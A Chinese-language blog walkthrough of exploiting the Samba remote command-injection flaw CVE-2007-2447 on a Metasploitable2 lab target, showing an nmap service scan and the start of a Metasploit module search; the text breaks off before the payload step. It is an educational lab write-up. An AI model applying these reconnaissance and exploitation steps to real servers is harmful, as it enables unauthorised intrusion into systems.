Samba远程Shell命令注入执行漏洞（CVE-2007-2447）

最新推荐文章于 2025-04-03 11:40:08 发布

原创

最新推荐文章于 2025-04-03 11:40:08 发布 · 3.5k 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#linux #安全 #samba #cmd

本文详细介绍了如何利用Samba服务中的安全漏洞进行远程命令执行，包括环境搭建、漏洞扫描、模块选择及攻击载荷配置，最终成功获取目标主机的shell权限。

产生原因

传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh，在smb.conf中，导致允许远程命令执行

实验环境

这里使用的目标机是metasploitable2

linux攻击机：192.168.43.113
linux目标机：192.168.43.23

利用攻击

首先对目标机进行扫描，收集可用的服务信息，使用nmap扫描查看系统开放端口和相关的应用程序

msf5 > nmap -sV 192.168.43.23
[*] exec: nmap -sV 192.168.43.23

Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-02 22:22 CST
Nmap scan report for 192.168.43.23
Host is up (0.0012s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login?
514/tcp  open  shell?
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13?
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.70%I=7%D=9/2%Time=5F4FAAAA%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)\SF:n");
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect resultsat https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.39 seconds

可以看到目标机开着Samba 3.x服务，通过search samba 3.x来找到利用模块

msf5 > search samba 3.x

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ---